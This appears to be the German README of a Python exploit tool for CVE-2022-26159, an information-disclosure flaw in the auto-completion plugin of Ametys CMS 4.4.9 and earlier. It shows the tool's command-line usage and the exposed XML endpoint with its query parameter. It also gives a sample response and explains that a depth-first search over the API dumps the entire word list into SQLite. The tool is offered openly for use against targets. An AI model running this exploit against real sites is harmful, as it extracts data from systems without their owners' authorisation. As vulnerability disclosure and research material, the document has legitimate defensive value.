
Ein Python-Exploit, um automatisch alle Daten, die vom Auto-Vervollständigungs-Plugin von Ametys CMS gespeichert werden, in eine lokale sqlite-Datenbankdatei zu exportieren.
Ein Python-Exploit, um automatisch alle vom Auto-Completion-Plugin von Ametys CMS gespeicherten Daten in eine lokale SQLite-Datenbankdatei zu exportieren.

$ ./CVE-2022-26159-Ametys-Autocompletion-XML.py -h
CVE-2022-26159-Ametys-Autocompletion-XML v1.1 - by @podalirius
usage: CVE-2022-26159-Ametys-Autocompletion-XML.py [-h] -t TARGET [-H HEADERS] [-k] [-v | -q] [--no-colors]
Description message
optional arguments:
-h, --help show this help message and exit
-t TARGET, --target TARGET
arg1 help message
-H HEADERS, --header HEADERS
Specify HTTP headers to use in requests. (e.g., --header "Header1: Value1" --header "Header2: Value2")
-k, --insecure Disable SSL/TLS warnings and certificate verification.
-v, --verbose Verbose mode. (default: False)
-q, --quiet Quiet mode. (default: False)
--no-colors Disables colored output. (default: False)
Das Autovervollständigungs-Plugin in Ametys CMS <= 4.4.9 macht öffentlich eine XML-Datei mit einer Wortliste unter folgender Adresse verfügbar:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml
Um eine Anfrage an diese Datenbank zu stellen, muss ein Angreifer lediglich den Wortanfang im q-Parameter (query) angeben:
https://domain.tld/plugins/web/service/search/auto-completion/domain/en.xml?q=adm
Das Autovervollständigungs-Plugin gibt die ersten 10 passenden Wörter, die mit adm beginnen (vom Query), in einer XML-Datei zurück:
<?xml version="1.0" encoding="UTF-8"?>
<auto-completion>
<item>administrateur</item>
<item>administrateurs</item>
<item>administratif</item>
<item>administratifs</item>
<item>administration</item>
<item>administrations</item>
<item>administrative</item>
<item>administratives</item>
<item>administres</item>
<item>admission</item>
</auto-completion>
Vor diesem Hintergrund muss ein Angreifer lediglich eine Tiefensuche auf der API durchführen, um den gesamten Inhalt daraus zu extrahieren.
Pull-Requests sind willkommen. Eröffnen Sie gerne ein Issue, wenn Sie weitere Funktionen hinzufügen möchten.